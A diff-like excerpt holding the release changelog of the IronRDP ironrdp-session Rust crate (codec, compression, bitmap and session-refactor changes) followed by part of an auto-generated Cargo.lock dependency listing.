- Reduce dependency on ironrdp-connector ([#1419](https://github.com/Devolutions/IronRDP/issues/1419)) ([5c22f86a71](https://github.com/Devolutions/IronRDP/commit/5c22f86a7150bc10c26a3be39bfaebf84c67d781))
|
||||||
|
|
||||||
|
Drops session's reliance on ironrdp-connector legacy helpers, now sourced from ironrdp-pdu.
|
||||||
|
|
||||||
|
- [**breaking**] Remove ironrdp-connector dependency ([#1435](https://github.com/Devolutions/IronRDP/issues/1435)) ([c6a0286dcb](https://github.com/Devolutions/IronRDP/commit/c6a0286dcb49d9ac54c65c4f9325b41e05d541b8))
|
||||||
|
|
||||||
|
Removes the last ironrdp-connector coupling from ironrdp-session by
|
||||||
|
turning Deactivate-All handling into a bare signal and shifting ownership
|
||||||
|
of the Deactivation-Reactivation activation sequence back to each consumer.
|
||||||
|
It introduces a ConnectionActivationFactory (fresh sequence per reactivation)
|
||||||
|
and an ActiveStageBuilder so session construction no longer depends on
|
||||||
|
ConnectionResult.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.10.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.9.0...ironrdp-session-v0.10.0)] - 2026-06-05
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Decode RGBA QOI bitmaps instead of dropping the frame ([#1341](https://github.com/Devolutions/IronRDP/issues/1341)) ([ef20ea4e90](https://github.com/Devolutions/IronRDP/commit/ef20ea4e90455d6c6db0d3521f6522d1e960c0bb))
|
||||||
|
|
||||||
|
Fixes the client-side QOI decode path in ironrdp-session so RGBA-channel QOI frames are decoded and applied to the framebuffer instead of being dropped, improving interoperability with third-party RDP servers and older ironrdp-server builds that emit RGBA QOI.
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- [**breaking**] Update `ironrdp-dvc` public dependency
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.9.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.8.0...ironrdp-session-v0.9.0)] - 2026-05-27
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- Dispatch multitransport PDUs on IO channel ([#1096](https://github.com/Devolutions/IronRDP/issues/1096)) ([7853e3cc6f](https://github.com/Devolutions/IronRDP/commit/7853e3cc6f26acaf3da000c6177ca3cef6ef85fd))
|
||||||
|
|
||||||
|
`decode_io_channel()` assumes all IO channel PDUs begin with
|
||||||
|
a`ShareControlHeader`. Multitransport Request PDUs use a
|
||||||
|
`BasicSecurityHeader` with `SEC_TRANSPORT_REQ` instead ([MS-RDPBCGR]
|
||||||
|
2.2.15.1).
|
||||||
|
|
||||||
|
This adds a peek-based dispatch: check the first `u16`
|
||||||
|
for`TRANSPORT_REQ`, decode as `MultitransportRequestPdu` if set,
|
||||||
|
otherwise fall through to the existing `decode_share_control()` path
|
||||||
|
unchanged.
|
||||||
|
|
||||||
|
The new variant is propagated through `ProcessorOutput` and
|
||||||
|
'ActiveStageOutput` so applications can handle multitransport requests.
|
||||||
|
Client and web consumers log the request (no UDP transport yet).
|
||||||
|
|
||||||
|
- Add bulk compression and wire negotiation ([ebf5da5f33](https://github.com/Devolutions/IronRDP/commit/ebf5da5f3380a3355f6c95814d669f8190425ded))
|
||||||
|
|
||||||
|
- add ironrdp-bulk crate with MPPC/NCRUSH/XCRUSH, bitstream, benches, and metrics
|
||||||
|
- advertise compression in Client Info and plumb compression_type through connector
|
||||||
|
- decode compressed FastPath/ShareData updates using BulkCompressor
|
||||||
|
- update CLI to numeric compression flags (enabled by default, level 0-3)
|
||||||
|
- extend screenshot example with compression options and negotiated logging
|
||||||
|
- refresh tests, FFI/web configs, typos, and Cargo.lock
|
||||||
|
|
||||||
|
- Complete pixel format support for bitmap updates ([#1134](https://github.com/Devolutions/IronRDP/issues/1134)) ([a6b41093ce](https://github.com/Devolutions/IronRDP/commit/a6b41093ce4ece081d2538c157f6bc547c3b2607))
|
||||||
|
|
||||||
|
Wires missing bitmap pixel formats (8/15/24bpp) into the session rendering
|
||||||
|
pipeline so bitmap updates at those depths are rendered instead of being
|
||||||
|
dropped, and adds fast-path palette update parsing to support 8bpp indexed
|
||||||
|
color sessions.
|
||||||
|
|
||||||
|
- Handle Auto-Detect Request PDUs from server ([#1178](https://github.com/Devolutions/IronRDP/issues/1178)) ([4dcad09980](https://github.com/Devolutions/IronRDP/commit/4dcad09980e4f5354e4e435a134cc0956e2fcf9e))
|
||||||
|
|
||||||
|
Fixes a crash when the server sends Auto-Detect Request PDUs during an
|
||||||
|
active session. After #1176 added ShareDataPdu::AutoDetectReq routing,
|
||||||
|
these PDUs decode correctly but hit the catch-all error path in the x224
|
||||||
|
processor: "unhandled PDU: Auto-Detect Request PDU".
|
||||||
|
|
||||||
|
- Handle slow-path graphics and pointer updates ([#1132](https://github.com/Devolutions/IronRDP/issues/1132)) ([9383380292](https://github.com/Devolutions/IronRDP/commit/938338029290f1be82a7f784d544bb77ac797aeb))
|
||||||
|
|
||||||
|
Adds support for slow-path graphics and pointer updates to IronRDP, fixing connectivity issues with servers like XRDP that use slow-path output instead of fast-path. The implementation parses slow-path framing headers and routes the inner payload structures through the existing fast-path processing pipeline by extracting shared bitmap and pointer processing methods.
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Fix pixel format handling in bitmap decoders ([#1101](https://github.com/Devolutions/IronRDP/issues/1101)) ([75863245ab](https://github.com/Devolutions/IronRDP/commit/75863245ab376f15e35c00df434860c93b123633))
|
||||||
|
|
||||||
|
- Handle row padding in uncompressed bitmap updates ([4262ae75ff](https://github.com/Devolutions/IronRDP/commit/4262ae75ffa5cb1fabb4ca07d598e33d855e8fdd))
|
||||||
|
|
||||||
|
Uncompressed bitmap data has rows padded to 4-byte boundaries per
|
||||||
|
[MS-RDPBCGR] 2.2.9.1.1.3.1.2.2, but the bitmap apply functions
|
||||||
|
expect tightly packed pixel data. Strip the per-row padding before
|
||||||
|
passing raw bitmap data to the apply functions.
|
||||||
|
|
||||||
|
This fixes garbled bitmap rendering when connecting to servers that
|
||||||
|
send uncompressed bitmaps with non-aligned row widths, such as XRDP
|
||||||
|
at 16 bpp.
|
||||||
|
|
||||||
|
- Skip bitmap updates that exceed bounds ([#1146](https://github.com/Devolutions/IronRDP/issues/1146)) ([2b97a95e6d](https://github.com/Devolutions/IronRDP/commit/2b97a95e6da8833e8a84e9f42960da91eee87cd6))
|
||||||
|
|
||||||
|
After a desktop resize, an RDP server can send a burst of bitmap updates
|
||||||
|
for the old resolution before its rendering pipeline has fully
|
||||||
|
transitioned to the new one. These updates reference coordinates beyond
|
||||||
|
the current image buffer in `DecodedImage`, causing index-out-of-bounds
|
||||||
|
panics in the `apply_*` methods. On the server side, the same stale
|
||||||
|
bitmaps can reach the encoder with dimensions exceeding the negotiated
|
||||||
|
desktop size, panicking in `NoneHandler::handle()`.
|
||||||
|
|
||||||
|
This commit adds bounds checks at two levels:
|
||||||
|
- `DecodedImage::rect_fits()` guard at the entry of each `apply_*`
|
||||||
|
method, returning an empty rectangle when the update doesn't fit
|
||||||
|
- Encoder-level guard in `EncoderIter::next()` that drops
|
||||||
|
`BitmapUpdate`s exceeding the current desktop size
|
||||||
|
|
||||||
|
- Propagate negotiated share_id to all outgoing ShareDataPdu ([#1147](https://github.com/Devolutions/IronRDP/issues/1147)) ([2b24e9664d](https://github.com/Devolutions/IronRDP/commit/2b24e9664dd05620ff63a24d092377477fdde863))
|
||||||
|
|
||||||
|
## [[0.8.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.7.0...ironrdp-session-v0.8.0)] - 2025-12-18
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.6.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.5.0...ironrdp-session-v0.6.0)] - 2025-08-29
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- Add QOI image codec ([613fd51f26](https://github.com/Devolutions/IronRDP/commit/613fd51f26315d8212662c46f8e625c541e4bb59))
|
||||||
|
|
||||||
|
The Quite OK Image format ([1]) losslessly compresses images to a similar size
|
||||||
|
of PNG, while offering 20x-50x faster encoding and 3x-4x faster decoding.
|
||||||
|
|
||||||
|
- Add QOIZ image codec ([87df67fdc7](https://github.com/Devolutions/IronRDP/commit/87df67fdc76ff4f39d4b83521e34bf3b5e2e73bb))
|
||||||
|
|
||||||
|
Add a new QOIZ codec for SetSurface command. The PDU data contains the same
|
||||||
|
data as the QOI codec, with zstd compression.
|
||||||
|
|
||||||
|
## [[0.4.1](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.4.0...ironrdp-session-v0.4.1)] - 2025-06-27
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- More functions on `ActiveStage` (#791) ([5482365655](https://github.com/Devolutions/IronRDP/commit/5482365655e5c171cd967eda401b01161a9f6602))
|
||||||
|
- `get_dvc_by_channel_id`
|
||||||
|
- `encode_dvc_messages`
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.4.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.3.0...ironrdp-session-v0.4.0)] - 2025-05-27
|
||||||
|
|
||||||
|
### <!-- 1 -->Features
|
||||||
|
|
||||||
|
- [**breaking**] Make DecodedImage Send ([45f66117ba](https://github.com/Devolutions/IronRDP/commit/45f66117ba05170d95b21ec7d97017b44b954f28))
|
||||||
|
|
||||||
|
- Add DecodeImage helpers ([cd7a60ba45](https://github.com/Devolutions/IronRDP/commit/cd7a60ba45a0241be4ecf3860ec4f82b431a7ce2))
|
||||||
|
|
||||||
|
### <!-- 4 -->Bug Fixes
|
||||||
|
|
||||||
|
- Update rectangle when applying None codecs updates (#728) ([a50cd643dc](https://github.com/Devolutions/IronRDP/commit/a50cd643dce9621f314231b7598d2fd31e4718c6))
|
||||||
|
|
||||||
|
- Return the correct updated region ([7507a152f1](https://github.com/Devolutions/IronRDP/commit/7507a152f14db594e4067bbc01e243cfba77770f))
|
||||||
|
|
||||||
|
"update_rectangle" is set to empty(). The surface updates are then added
|
||||||
|
by "union". But a union with an empty rectangle at (0,0) is still a
|
||||||
|
rectangle at (0,0). We end up with big region updates rooted at (0,0)...
|
||||||
|
|
||||||
|
- Decrease verbosity of Rfx frame_index ([b31b99eafb](https://github.com/Devolutions/IronRDP/commit/b31b99eafb0aac2a5e5a610af21a4027ae5cd698))
|
||||||
|
|
||||||
|
- Decrease verbosity of FastPath header ([f9b6992e74](https://github.com/Devolutions/IronRDP/commit/f9b6992e74abb929f3001e76abaff5d7215e1cb4))
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.3.0](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.2.3...ironrdp-session-v0.3.0)] - 2025-03-12
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Bump ironrdp-pdu
|
||||||
|
|
||||||
|
## [[0.2.3](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.2.2...ironrdp-session-v0.2.3)] - 2025-03-12
|
||||||
|
|
||||||
|
### <!-- 7 -->Build
|
||||||
|
|
||||||
|
- Update dependencies (#695) ([c21fa44fd6](https://github.com/Devolutions/IronRDP/commit/c21fa44fd6f3c6a6b74788ff68e83133c1314caa))
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.2.2](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.2.1...ironrdp-session-v0.2.2)] - 2025-01-28
|
||||||
|
|
||||||
|
### <!-- 6 -->Documentation
|
||||||
|
|
||||||
|
- Use CDN URLs instead of the blob storage URLs for Devolutions logo (#631) ([dd249909a8](https://github.com/Devolutions/IronRDP/commit/dd249909a894004d4f728d30b3a4aa77a0f8193b))
|
||||||
|
|
||||||
|
|
||||||
|
## [[0.2.1](https://github.com/Devolutions/IronRDP/compare/ironrdp-session-v0.2.0...ironrdp-session-v0.2.1)] - 2024-12-14
|
||||||
|
|
||||||
|
### Other
|
||||||
|
|
||||||
|
- Symlinks to license files in packages ([#604](https://github.com/Devolutions/IronRDP/pull/604)) ([6c2de344c2](https://github.com/Devolutions/IronRDP/commit/6c2de344c2dd93ce9621834e0497ed7c3bfaf91a))
|
||||||
+735
@@ -0,0 +1,735 @@
|
|||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 4
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "asn1-rs"
|
||||||
|
version = "0.7.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b7f43a50ac4fdca5df8e885c21b835997f0a1cdee65494a6847694a98652d9d8"
|
||||||
|
dependencies = [
|
||||||
|
"asn1-rs-derive",
|
||||||
|
"asn1-rs-impl",
|
||||||
|
"displaydoc",
|
||||||
|
"nom",
|
||||||
|
"num-traits",
|
||||||
|
"rusticata-macros",
|
||||||
|
"thiserror",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "asn1-rs-derive"
|
||||||
|
version = "0.6.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3109e49b1e4909e9db6515a30c633684d68cdeaa252f215214cb4fa1a5bfee2c"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
"synstructure",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "asn1-rs-impl"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7b18050c2cd6fe86c3a76584ef5e0baf286d038cda203eb6223df2cc413565f7"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "autocfg"
|
||||||
|
version = "1.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base64ct"
|
||||||
|
version = "1.8.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bit_field"
|
||||||
|
version = "0.10.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1e4b40c7323adcfc0a41c4b88143ed58346ff65a288fc144329c5c45e05d70c6"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitflags"
|
||||||
|
version = "2.13.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b4388bee8683e3d04af747c73422af53102d2bd24d9eadb6cbc100baef4b43f8"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitvec"
|
||||||
|
version = "1.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ddcec3d12c579d40898fe0a9a358a803c23e9c52ca3c425707f81c9436211837"
|
||||||
|
dependencies = [
|
||||||
|
"funty",
|
||||||
|
"radium",
|
||||||
|
"tap",
|
||||||
|
"wyz",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "block-buffer"
|
||||||
|
version = "0.10.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bytemuck"
|
||||||
|
version = "1.25.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8efb64bd706a16a1bdde310ae86b351e4d21550d98d056f22f8a7f7a2183fec"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "byteorder"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cc"
|
||||||
|
version = "1.2.66"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f5d6cac793997bd970000024b2934968efe83b382de4fdcf4fcb46b6ee4ad996"
|
||||||
|
dependencies = [
|
||||||
|
"find-msvc-tools",
|
||||||
|
"jobserver",
|
||||||
|
"libc",
|
||||||
|
"shlex",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg-if"
|
||||||
|
version = "1.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "const-oid"
|
||||||
|
version = "0.9.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cpufeatures"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crypto-common"
|
||||||
|
version = "0.1.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
"typenum",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "der"
|
||||||
|
version = "0.7.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"der_derive",
|
||||||
|
"flagset",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "der-parser"
|
||||||
|
version = "10.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "07da5016415d5a3c4dd39b11ed26f915f52fc4e0dc197d87908bc916e51bc1a6"
|
||||||
|
dependencies = [
|
||||||
|
"asn1-rs",
|
||||||
|
"displaydoc",
|
||||||
|
"nom",
|
||||||
|
"num-traits",
|
||||||
|
"rusticata-macros",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "der_derive"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "digest"
|
||||||
|
version = "0.10.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||||
|
dependencies = [
|
||||||
|
"block-buffer",
|
||||||
|
"crypto-common",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "displaydoc"
|
||||||
|
version = "0.2.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1ac70aa55017e108007fbaf5aa0f54b021c98f92ff8af59d42eda9da96e3dd4f"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "find-msvc-tools"
|
||||||
|
version = "0.1.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flagset"
|
||||||
|
version = "0.4.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "funty"
|
||||||
|
version = "2.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "generic-array"
|
||||||
|
version = "0.14.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
|
||||||
|
dependencies = [
|
||||||
|
"typenum",
|
||||||
|
"version_check",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "getrandom"
|
||||||
|
version = "0.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"r-efi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-bulk"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2e548d9fd162558a5a8aaed72e528556ce88e77773634e3722b8d01d6f170388"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-core"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ef0875b98275068b88652e49ba2e0a1150a1390aad69d26c942c8c59e8ec918e"
|
||||||
|
dependencies = [
|
||||||
|
"ironrdp-error",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-displaycontrol"
|
||||||
|
version = "0.8.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "74a111a6fd25abbe51b6a15276fe980c6b9eee50a1421224b0c3f45848d45bcf"
|
||||||
|
dependencies = [
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-dvc",
|
||||||
|
"ironrdp-pdu",
|
||||||
|
"ironrdp-svc",
|
||||||
|
"tracing",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-dvc"
|
||||||
|
version = "0.8.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3a5de64988ddabf96928e2f042e1772a5f7201f0001ea99012129c73a105fc52"
|
||||||
|
dependencies = [
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-pdu",
|
||||||
|
"ironrdp-svc",
|
||||||
|
"tracing",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-error"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cd344ce9518ab83f6f7568ca4f1bc6dc8c55bd2da04cb5ee7b3e8740d5041734"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-graphics"
|
||||||
|
version = "0.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c7493e426b6a8104cd497e518ba7781a9c7fc9a5f58a9cc0c1111e6d66f63bcc"
|
||||||
|
dependencies = [
|
||||||
|
"bit_field",
|
||||||
|
"bitflags",
|
||||||
|
"bitvec",
|
||||||
|
"byteorder",
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-pdu",
|
||||||
|
"num-derive",
|
||||||
|
"num-traits",
|
||||||
|
"yuv",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-pdu"
|
||||||
|
version = "0.9.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4ccd1179a4d106df1930347701388b5c79bc3725fa7dab4438d57db0d9d19347"
|
||||||
|
dependencies = [
|
||||||
|
"bit_field",
|
||||||
|
"bitflags",
|
||||||
|
"byteorder",
|
||||||
|
"der-parser",
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-error",
|
||||||
|
"md-5",
|
||||||
|
"num-bigint",
|
||||||
|
"num-derive",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
"pkcs1",
|
||||||
|
"sha1",
|
||||||
|
"tap",
|
||||||
|
"x509-cert",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-session"
|
||||||
|
version = "0.11.0"
|
||||||
|
dependencies = [
|
||||||
|
"ironrdp-bulk",
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-displaycontrol",
|
||||||
|
"ironrdp-dvc",
|
||||||
|
"ironrdp-error",
|
||||||
|
"ironrdp-graphics",
|
||||||
|
"ironrdp-pdu",
|
||||||
|
"ironrdp-svc",
|
||||||
|
"qoicoubeh",
|
||||||
|
"tracing",
|
||||||
|
"zstd-safe",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ironrdp-svc"
|
||||||
|
version = "0.8.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "24c36b82ab0f7fef2668fb7004008a0f3c100a3d9a7b18bd4495a71aba55b796"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"ironrdp-core",
|
||||||
|
"ironrdp-pdu",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "jobserver"
|
||||||
|
version = "0.1.35"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1c00acbd29eabad4a2392fa0e921c874934dbbf4194312ad20f04a0ed67a3cb3"
|
||||||
|
dependencies = [
|
||||||
|
"getrandom",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libc"
|
||||||
|
version = "0.2.186"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "md-5"
|
||||||
|
version = "0.10.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "memchr"
|
||||||
|
version = "2.8.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "minimal-lexical"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "nom"
|
||||||
|
version = "7.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
"minimal-lexical",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-bigint"
|
||||||
|
version = "0.4.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c89e69e7e0f03bea5ef08013795c25018e101932225a656383bd384495ecc367"
|
||||||
|
dependencies = [
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-derive"
|
||||||
|
version = "0.4.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
